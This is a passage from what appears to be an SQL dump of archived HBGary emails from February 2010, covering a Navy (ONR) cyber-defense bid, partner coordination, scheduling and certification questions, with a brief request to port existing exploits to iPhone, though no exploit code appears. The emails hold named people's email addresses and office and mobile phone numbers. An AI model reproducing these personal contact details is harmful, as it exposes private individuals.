<aaron@hbgary.com>','/aaron@hbgary.com/new/1297001438.M115442P3547Q3025.eml','nolan@informationsecuritysolutionsllc.com','Re: A very interesting project opportunity with the Navy (ONR)','Works.From my iPhoneOn Feb 24, 2010, at 10:15 AM, &quot;nolan@informationsecuritysolutionsllc.com&quot; &lt;nolan@informationsecuritysolutionsllc.com&gt; wrote:\r\nOK, how does a call on Friday morning at 9:30 work for you?Sent via BlackBerry by AT&amp;TFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Wed, 24 Feb 2010 10:14:53 -0500To: nolan@informationsecuritysolutionsllc.com&lt;nolan@informationsecuritysolutionsllc.com&gt;\r\nSubject: Re: A very interesting project opportunity with the Navy (ONR)I won&#39;t be at rsa, need to focus on proposal writing.  Given that let&#39;s figure out when we can tall.  When is your next available timeframe?  I am open Thursday and Friday mostly for writing.\r\n\r\nAaronFrom my iPhoneOn Feb 23, 2010, at 10:11 AM, &quot;nolan@informationsecuritysolutionsllc.com&quot; &lt;nolan@informationsecuritysolutionsllc.com&gt; wrote:\r\n\r\nI will be in DC at the AFCEA Homeland Security show. Will you be at RSA next week?Sent via BlackBerry by AT&amp;TFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Tue, 23 Feb 2010 09:22:52 -0500To: &lt;nolan@informationsecuritysolutionsllc.com&gt;&lt;nolan@informationsecuritysolutionsllc.com&gt;\r\n\r\nSubject: Re: A very interesting project opportunity with the Navy (ONR)Sounds interesting.  Let&#39;s discuss.  I am going to be at the navy day on Wednesday.  Are u going to be there?\r\n\r\nAaronFrom my iPhoneOn Feb 23, 2010, at 9:06 AM, Nolan Clifford &lt;nolan@informationsecuritysolutionsllc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nHBGary + Fidelis + \r\nISS - Could be very interesting...\r\n \r\nAlso, there is a \r\ncompany called Promia out of SF that does some of the correlation needed for \r\nthis. I know their CEO well. They developed the technology via SBIR funding \r\nfrom the Navy (earmarked from a pal in congress) and it is currently used on \r\nlive Navy networks...\r\n \r\n\r\nNavy looks to advance cyber defense\r\nFunding for development of algorithms, techniques \r\nand software to bolster defense of Navy networks\r\n\r\n  By Ben \r\n  Bain\r\n  Feb 22, 2010The Office of Naval Research plans to spend \r\nup to $16 million to develop new cyber defense prototypes to ensure \r\ncontinuity of cyber operations during a cyber conflict, according to a recent notice from that organization. \r\nThe project&#39;s goal is to develop new concepts for protecting the Navy’s \r\nnetworks, and the desired prototype at the end of it would provide decision \r\nmanagement, intelligent decision aids, data fusion, and correlation and \r\nvisualization capabilities, ONR said in a recent broad agency announcement.\r\nThe office said there’s a major need for technologies that can identify and \r\nmitigate real-time threats while ensuring continuity of operations. Current \r\nnetwork defense tools are reactive and inflexible and don’t allow for real-time \r\nresponse, it said.\r\n“The architecture being sought is intended to provide a comprehensive, \r\nholistic approach to computer network defense and to move away from traditional \r\nconcepts of patch management and computer resource management,” ONR said.\r\nAccording to the notice, the three main components of the new architecture \r\nare:\r\n\r\n\r\n  Decision support that provides real-time management and control of \r\n  sensors, and an automated response capability, among other \r\n  capabilities.\r\n  Sensors and gateways that would provide enhanced anomaly detection \r\n  capabilities and network awareness.\r\n  Security-enabled protocols to ensure data delivery,reliability and \r\n  provenance and control of network-based security components.\r\n\r\nThe technologies ONR is interested in include:\r\n\r\n\r\n  Algorithms for the detection of malware embedded in binary data files that \r\n  go beyond normal antivirus detection algorithms.\r\n  Algorithms for sensors and gateways that can distinguish between \r\n  legitimate and malicious traffic.\r\n  Algorithms to mine data that support the correlation and fusion of large, \r\n  complex datasets.\r\n  Security-enabled protocols that ensure proper network function during \r\n  cyberattacks.\r\n  Tools to support attribution of network activity to a source.\r\n\r\nThe office said it may award up to five multiple indefinite-delivery, \r\nindefinite-quantity contracts to do the work. The ONR plans on spending $16 \r\nmillion through fiscal 2015 on the work.\r\nONR plans to hold an industry day for the project on Feb. 24; full proposals \r\nfor phase one of the project will be due on May 21.\r\n \r\nCheers,\r\nNolan\r\n \r\nNolan Clifford, CISSP\r\nCEO, Information Security Solutions \r\nLLC\r\nhttp://www.informationsecuritysolutionsllc.com\r\n\r\n\r\n\r\nnolan@informationsecuritysolutionsllc.com\r\n\r\n\r\n\r\nOffice - 703-945-7480\r\nCell - 703-869-7396\r\n \r\n \r\n\r\n\r\n\r\n\r\n\r\n',5907,'aaron_hbgary_com/5907.html'),(3026,'2010-02-24','\"Winterfeld, Steven P (TASC Inc)\" <steven.winterfeld@TASC.COM>','/aaron@hbgary.com/new/1297001438.M349755P3547Q3026.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: Article/Interview with Dr. Brammer','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Beane, Patricia O\r\n(IS) \r\n\r\nSubject: Article/Interview with Dr. Brammer\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nInteresting interview with Dr. Bob Brammer\r\n\r\n&nbsp;\r\n\r\nhttp://blog.executivebiz.com/dr-bob-brammer-of-tasc-a-cto-cant-let-his-organization-be-surprised/7358\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nPatricia\r\nO. Beane \r\nManager,\r\nStrategic Programs \r\nTransformational\r\nResearch, Integration and \r\nDemonstration\r\n(TRIAD) Network \r\nNorthrop\r\nGrumman Information Systems \r\n100 Brickstone\r\nSquare \r\nAndover,\r\nMA&nbsp; 01810 \r\n978-749-2413\r\noffice \r\n508-265-0548\r\nmobile \r\npatricia.beane@ngc.com\r\n\r\nFor info\r\nvisit: http://triad.is.northgrum.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10448,'aaron_hbgary_com/10448.html'),(3027,'2010-02-24','nolan@informationsecuritysolutionsllc.com','/aaron@hbgary.com/new/1297001438.M550235P3547Q3027.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: A very interesting project opportunity with the Navy (ONR)','Super, talk to you then.Sent via BlackBerry by AT&TFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Wed, 24 Feb 2010 10:17:51 -0500To: nolan@informationsecuritysolutionsllc.com&lt;nolan@informationsecuritysolutionsllc.com&gt;Subject: Re: A very interesting project opportunity with the Navy (ONR)Works.From my iPhoneOn Feb 24, 2010, at 10:15 AM, &quot;nolan@informationsecuritysolutionsllc.com&quot; &lt;nolan@informationsecuritysolutionsllc.com&gt; wrote:\r\nOK, how does a call on Friday morning at 9:30 work for you?Sent via BlackBerry by AT&amp;TFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Wed, 24 Feb 2010 10:14:53 -0500To: nolan@informationsecuritysolutionsllc.com&lt;nolan@informationsecuritysolutionsllc.com&gt;\r\nSubject: Re: A very interesting project opportunity with the Navy (ONR)I won&#39;t be at rsa, need to focus on proposal writing.  Given that let&#39;s figure out when we can tall.  When is your next available timeframe?  I am open Thursday and Friday mostly for writing.\r\n\r\nAaronFrom my iPhoneOn Feb 23, 2010, at 10:11 AM, &quot;nolan@informationsecuritysolutionsllc.com&quot; &lt;nolan@informationsecuritysolutionsllc.com&gt; wrote:\r\n\r\nI will be in DC at the AFCEA Homeland Security show. Will you be at RSA next week?Sent via BlackBerry by AT&amp;TFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Tue, 23 Feb 2010 09:22:52 -0500To: &lt;nolan@informationsecuritysolutionsllc.com&gt;&lt;nolan@informationsecuritysolutionsllc.com&gt;\r\n\r\nSubject: Re: A very interesting project opportunity with the Navy (ONR)Sounds interesting.  Let&#39;s discuss.  I am going to be at the navy day on Wednesday.  Are u going to be there?\r\n\r\nAaronFrom my iPhoneOn Feb 23, 2010, at 9:06 AM, Nolan Clifford &lt;nolan@informationsecuritysolutionsllc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nHBGary + Fidelis + \r\nISS - Could be very interesting...\r\n \r\nAlso, there is a \r\ncompany called Promia out of SF that does some of the correlation needed for \r\nthis. I know their CEO well. They developed the technology via SBIR funding \r\nfrom the Navy (earmarked from a pal in congress) and it is currently used on \r\nlive Navy networks...\r\n \r\n\r\nNavy looks to advance cyber defense\r\nFunding for development of algorithms, techniques \r\nand software to bolster defense of Navy networks\r\n\r\n  By Ben \r\n  Bain\r\n  Feb 22, 2010The Office of Naval Research plans to spend \r\nup to $16 million to develop new cyber defense prototypes to ensure \r\ncontinuity of cyber operations during a cyber conflict, according to a recent notice from that organization. \r\nThe project&#39;s goal is to develop new concepts for protecting the Navy’s \r\nnetworks, and the desired prototype at the end of it would provide decision \r\nmanagement, intelligent decision aids, data fusion, and correlation and \r\nvisualization capabilities, ONR said in a recent broad agency announcement.\r\nThe office said there’s a major need for technologies that can identify and \r\nmitigate real-time threats while ensuring continuity of operations. Current \r\nnetwork defense tools are reactive and inflexible and don’t allow for real-time \r\nresponse, it said.\r\n“The architecture being sought is intended to provide a comprehensive, \r\nholistic approach to computer network defense and to move away from traditional \r\nconcepts of patch management and computer resource management,” ONR said.\r\nAccording to the notice, the three main components of the new architecture \r\nare:\r\n\r\n\r\n  Decision support that provides real-time management and control of \r\n  sensors, and an automated response capability, among other \r\n  capabilities.\r\n  Sensors and gateways that would provide enhanced anomaly detection \r\n  capabilities and network awareness.\r\n  Security-enabled protocols to ensure data delivery,reliability and \r\n  provenance and control of network-based security components.\r\n\r\nThe technologies ONR is interested in include:\r\n\r\n\r\n  Algorithms for the detection of malware embedded in binary data files that \r\n  go beyond normal antivirus detection algorithms.\r\n  Algorithms for sensors and gateways that can distinguish between \r\n  legitimate and malicious traffic.\r\n  Algorithms to mine data that support the correlation and fusion of large, \r\n  complex datasets.\r\n  Security-enabled protocols that ensure proper network function during \r\n  cyberattacks.\r\n  Tools to support attribution of network activity to a source.\r\n\r\nThe office said it may award up to five multiple indefinite-delivery, \r\nindefinite-quantity contracts to do the work. The ONR plans on spending $16 \r\nmillion through fiscal 2015 on the work.\r\nONR plans to hold an industry day for the project on Feb. 24; full proposals \r\nfor phase one of the project will be due on May 21.\r\n \r\nCheers,\r\nNolan\r\n \r\nNolan Clifford, CISSP\r\nCEO, Information Security Solutions \r\nLLC\r\nhttp://www.informationsecuritysolutionsllc.com\r\n\r\n\r\n\r\nnolan@informationsecuritysolutionsllc.com\r\n\r\n\r\n\r\nOffice - 703-945-7480\r\nCell - 703-869-7396\r\n \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n',11882,'aaron_hbgary_com/11882.html'),(3028,'2010-02-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001438.M773502P3547Q3028.eml','\"Brian Masterson\" <Brian.Masterson@ngc.com>','One cnd','You should have been here.  We newsroom go after this.  HBGary +\r\nfidelis + ig + ?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',8643,'aaron_hbgary_com/8643.html'),(3029,'2010-02-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001438.M984800P3547Q3029.eml','\"Ted Vera\" <ted@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','ONR CND RFP','A HBGary + fidelis + NG can win this.  This will require active\r\ndefense.  I  looking forward to your opinion on fidelis integration.\r\nIf u get a chance look at the rfp.  He keeps talking about decision\r\nsupport, malware analysis, near real time, sensors and gateways.\r\n\r\nHe was interested in host based sensors but he is worried about cost\r\nandanagent.  We cam handle that.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',1381,'aaron_hbgary_com/1381.html'),(3030,'2010-02-24','\"Pisani, Albert A.\" <albert.pisani@TASC.COM>','/aaron@hbgary.com/new/1297001439.M191927P3547Q3030.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Clair, Chris (TASC Inc)\" <CHRISTOPHER.CLAIR@tasc.com>,\"Garcia, Kathy (TASC Inc)\" <KATHERINE.GARCIA@tasc.com>,\"Heider, Raymond A (TASC Inc)\" <raymond.heider@TASC.COM>,\"Hill, Lawrence C (TASC Inc)\" <lawrence.hill@TASC.COM>,\"Lovegrove, John (TASC Inc)\" <John.Lovegrove@tasc.com>','COIN follow up','\r\n\r\n\r\n\r\n\r\nCOIN follow up\r\n\r\n\r\n\r\n\r\nWhen: Thursday, February 25, 2010 12:00 PM-1:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: WF4 -- Executive Conference Room and Teleconference: 866.740.2200, x4182684#\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nMeeting time: 12:00-1:00 pm EST\r\n\r\n\r\n\r\nTelcon info: \r\n\r\n866.740.2200, x4182684#\r\n\r\n\r\n\r\n\r\n',1398,'aaron_hbgary_com/1398.html'),(3031,'2010-02-24','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001439.M399270P3547Q3031.eml','aaron@hbgary.com','Re: One cnd','\r\n\r\n\r\n\r\n\r\nRe: One cnd\r\n\r\n\r\n\r\n\r\nHuh????&nbsp; Where r u?&nbsp; Newsroom?\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Masterson, Brian (Xetron)\r\nSent: Wed Feb 24 09:29:20 2010\r\nSubject: One cnd\r\n\r\nYou should have been here.&nbsp; We newsroom go after this.&nbsp; HBGary +\r\nfidelis + ig + ?\r\n\r\nAaron\r\n\r\n&nbsp;From my iPhone\r\n\r\n\r\n\r\n\r\n',13962,'aaron_hbgary_com/13962.html'),(3032,'2010-02-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001439.M611768P3547Q3032.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: One cnd','Damn auto correct.  I  at onr proposers day.AaronFrom my iPhoneOn Feb 24, 2010, at 10:42 AM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nHuh????  Where r u?  Newsroom?\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Masterson, Brian (Xetron)\r\nSent: Wed Feb 24 09:29:20 2010\r\nSubject: One cnd\r\n\r\nYou should have been here.  We newsroom go after this.  HBGary +\r\nfidelis + ig + ?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\n\r\n\r\n\r\n\r\n',16732,'aaron_hbgary_com/16732.html'),(3033,'2010-02-24','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001439.M816210P3547Q3033.eml','aaron@hbgary.com','Re: One cnd','\r\nK.  Let\'s talk tomorrow.  Get some insight into how their timeline can be upped.  As written, it sucks.\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Masterson, Brian (Xetron)Sent: Wed Feb 24 09:46:31 2010Subject: Re: One cnd\r\nDamn auto correct.  I  at onr proposers day.AaronFrom my iPhoneOn Feb 24, 2010, at 10:42 AM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nHuh????  Where r u?  Newsroom?\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Masterson, Brian (Xetron)\r\nSent: Wed Feb 24 09:29:20 2010\r\nSubject: One cnd\r\n\r\nYou should have been here.  We newsroom go after this.  HBGary +\r\nfidelis + ig + ?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\n\r\n\r\n\r\n\r\n',10625,'aaron_hbgary_com/10625.html'),(3034,'2010-02-24','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001440.M326003P3547Q3035.eml','aaron@hbgary.com','Re: One cnd','\r\nNot sure what you mean.\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Masterson, Brian (Xetron)Sent: Wed Feb 24 09:49:20 2010Subject: Re: One cnd\r\nDoesn&#39;t the sap for secure enabled protocols fit?From my iPhoneOn Feb 24, 2010, at 10:42 AM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nHuh????  Where r u?  Newsroom?\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Masterson, Brian (Xetron)\r\nSent: Wed Feb 24 09:29:20 2010\r\nSubject: One cnd\r\n\r\nYou should have been here.  We newsroom go after this.  HBGary +\r\nfidelis + ig + ?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\n\r\n\r\n\r\n\r\n',15260,'aaron_hbgary_com/15260.html'),(3035,'2010-02-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001440.M39043P3547Q3034.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: One cnd','Doesn&#39;t the sap for secure enabled protocols fit?From my iPhoneOn Feb 24, 2010, at 10:42 AM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nHuh????  Where r u?  Newsroom?\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Masterson, Brian (Xetron)\r\nSent: Wed Feb 24 09:29:20 2010\r\nSubject: One cnd\r\n\r\nYou should have been here.  We newsroom go after this.  HBGary +\r\nfidelis + ig + ?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\n\r\n\r\n\r\n\r\n',11944,'aaron_hbgary_com/11944.html'),(3036,'2010-02-24','\"Jonathan George\" <jonathan.k.george@gmail.com>','/aaron@hbgary.com/new/1297001440.M530486P3547Q3036.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: iphone/ipod touch','Sure. If he can get that to me I\'ll sign it and send it back.A pdf to this email will work. I also have a fax to email number.Sent from my iPhoneOn Feb 23, 2010, at 7:44 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:So if your interested Ted can send you an NDA and the code to take a look and see if its up your alley.Sound good?AaronOn Feb 23, 2010, at 6:25 AM, Jonathan George wrote:I can take a look at it. I can\'t promise anything until I\'ve seen some of the code.On Mon, Feb 22, 2010 at 9:15 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nThanks for response. &nbsp;If your interested we need some exploits portedto that platform. &nbsp;It is about 4-5 months of work. &nbsp;This is existing work we have done for a few years. &nbsp;If your interested in this to get you started with us we can send am nda your way and let you look at the code that needs porting.\r\n\r\nAaronFrom my iPhoneOn Feb 22, 2010, at 6:57 PM, Jonathan George &lt;jonathan.k.george@gmail.com&gt; wrote:\r\n\r\nI wrote one app for the iPhone. Just the virtual Rolex that I showed you. I had a few other ideas but they weren\'t high enough on my list of non-work projects. And my other ideas don\'t involve 30% profit sharing with Apple.\r\n\r\n\r\nOn Mon, Feb 22, 2010 at 4:03 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nJonathan,\r\n\r\nDo you have some iphone/ipod touch development experience.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',16104,'aaron_hbgary_com/16104.html'),(3037,'2010-02-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001440.M739283P3547Q3037.eml','\"Winterfeld, Steven P (TASC Inc)\" <steven.winterfeld@tasc.com>','Re: Article/Interview with Dr. Brammer','Yuk.  I need to get ddna diacap approved.  How do I do that?AaronFrom my iPhoneOn Feb 24, 2010, at 10:20 AM, &quot;Winterfeld, Steven P (TASC Inc)&quot; &lt;steven.winterfeld@TASC.COM&gt; wrote:\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Beane, Patricia O\r\n(IS) \r\n\r\nSubject: Article/Interview with Dr. Brammer\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nInteresting interview with Dr. Bob Brammer\r\n\r\n \r\n\r\nhttp://blog.executivebiz.com/dr-bob-brammer-of-tasc-a-cto-cant-let-his-organization-be-surprised/7358\r\n\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\nPatricia\r\nO. Beane \r\nManager,\r\nStrategic Programs \r\nTransformational\r\nResearch, Integration and \r\nDemonstration\r\n(TRIAD) Network \r\nNorthrop\r\nGrumman Information Systems \r\n100 Brickstone\r\nSquare \r\nAndover,\r\nMA  01810 \r\n978-749-2413\r\noffice \r\n508-265-0548\r\nmobile \r\npatricia.beane@ngc.com\r\n\r\nFor info\r\nvisit: http://triad.is.northgrum.com\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1171,'aaron_hbgary_com/1171.html'),(3038,'2010-02-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001440.M913639P3547Q3038.eml','\"Ted Vera\" <ted@hbgary.com>','Dcaa accounting system and approved rates','We don\'t have one do we?  How and when do we submit?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',10019,'aaron_hbgary_com/10019.html'),(3039,'2010-02-24','\"Winterfeld, Steven P (TASC Inc)\" <steven.winterfeld@TASC.COM>','/aaron@hbgary.com/new/1297001441.M108031P3547Q3039.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Article/Interview with Dr. Brammer','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGenerally you have a gov sponsor, develop the package, have DA\r\nsign off and share that with other customers.&nbsp; &nbsp;There are other paths\r\nbut I think that would be the most efficient.&nbsp;&nbsp; Lirette has folks\r\nthat can develop the package. \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, February 24, 2010 10:48 AM\r\nTo: Winterfeld, Steven P (TASC Inc)\r\nSubject: Re: Article/Interview with Dr. Brammer\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nYuk. &nbsp;I need to get ddna diacap approved. &nbsp;How do\r\nI do that?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 24, 2010, at 10:20 AM, &quot;Winterfeld, Steven P (TASC Inc)&quot; &lt;steven.winterfeld@TASC.COM&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Beane, Patricia O\r\n(IS) \r\n\r\nSubject: Article/Interview with Dr. Brammer\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nInteresting\r\ninterview with Dr. Bob Brammer\r\n\r\n&nbsp;\r\n\r\nhttp://blog.executivebiz.com/dr-bob-brammer-of-tasc-a-cto-cant-let-his-organization-be-surprised/7358\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nPatricia O. Beane\r\n\r\nManager,\r\nStrategic Programs \r\nTransformational\r\nResearch, Integration and \r\nDemonstration\r\n(TRIAD) Network \r\nNorthrop Grumman\r\nInformation Systems \r\n100 Brickstone\r\nSquare \r\nAndover,\r\nMA&nbsp; 01810 \r\n978-749-2413\r\noffice \r\n508-265-0548\r\nmobile \r\npatricia.beane@ngc.com \r\nFor info\r\nvisit: http://triad.is.northgrum.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',246,'aaron_hbgary_com/246.html'),(3040,'2010-02-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001441.M308852P3547Q3040.eml','\"Penny Leavy\" <penny@hbgary.com>','Fwd: Article/Interview with Dr. Brammer','Do we have a government sponsor?From my iPhoneBegin forwarded message:From: &quot;Winterfeld, Steven P (TASC Inc)&quot; &lt;steven.winterfeld@TASC.COM&gt;\r\nDate: February 24, 2010 12:52:18 PM ESTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;Subject: RE: Article/Interview with Dr. Brammer\r\n\r\n\r\n\r\n\r\nGenerally you have a gov sponsor, develop the package, have DA\r\nsign off and share that with other customers.   There are other paths\r\nbut I think that would be the most efficient.   Lirette has folks\r\nthat can develop the package. \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, February 24, 2010 10:48 AM\r\nTo: Winterfeld, Steven P (TASC Inc)\r\nSubject: Re: Article/Interview with Dr. Brammer\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nYuk.  I need to get ddna diacap approved.  How do\r\nI do that?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 24, 2010, at 10:20 AM, &quot;Winterfeld, Steven P (TASC Inc)&quot; &lt;steven.winterfeld@TASC.COM&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Beane, Patricia O\r\n(IS) \r\n\r\nSubject: Article/Interview with Dr. Brammer\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nInteresting\r\ninterview with Dr. Bob Brammer\r\n\r\n \r\n\r\nhttp://blog.executivebiz.com/dr-bob-brammer-of-tasc-a-cto-cant-let-his-organization-be-surprised/7358\r\n\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\nPatricia O. Beane\r\n\r\nManager,\r\nStrategic Programs \r\nTransformational\r\nResearch, Integration and \r\nDemonstration\r\n(TRIAD) Network \r\nNorthrop Grumman\r\nInformation Systems \r\n100 Brickstone\r\nSquare \r\nAndover,\r\nMA  01810 \r\n978-749-2413\r\noffice \r\n508-265-0548\r\nmobile \r\npatricia.beane@ngc.com \r\nFor info\r\nvisit: http://triad.is.northgrum.com\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13437,'aaron_hbgary_com/13437.html'),(3041,'2010-02-24','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297001441.M509119P3547Q3041.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Article/Interview with Dr. Brammer','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nYes, matt who is sponsor?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, February 24, 2010 9:55 AM\r\nTo: Penny Leavy\r\nSubject: Fwd: Article/Interview with Dr. Brammer\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nDo we have a government sponsor?\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: &quot;Winterfeld,\r\nSteven P (TASC Inc)&quot; &lt;steven.winterfeld@TASC.COM&gt;\r\nDate: February 24, 2010 12:52:18 PM EST\r\nTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;\r\nSubject: RE: Article/Interview with Dr. Brammer\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGenerally\r\nyou have a gov sponsor, develop the package, have DA sign off and share that\r\nwith other customers.&nbsp; &nbsp;There are other paths but I think that would\r\nbe the most efficient.&nbsp;&nbsp; Lirette has folks that can develop the\r\npackage. \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, February 24, 2010 10:48 AM\r\nTo: Winterfeld, Steven P (TASC Inc)\r\nSubject: Re: Article/Interview with Dr. Brammer\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nYuk.\r\n&nbsp;I need to get ddna diacap approved. &nbsp;How do I do that?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 24, 2010, at 10:20 AM, &quot;Winterfeld, Steven P (TASC Inc)&quot; &lt;steven.winterfeld@TASC.COM&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Beane, Patricia O\r\n(IS) \r\n\r\nSubject: Article/Interview with Dr. 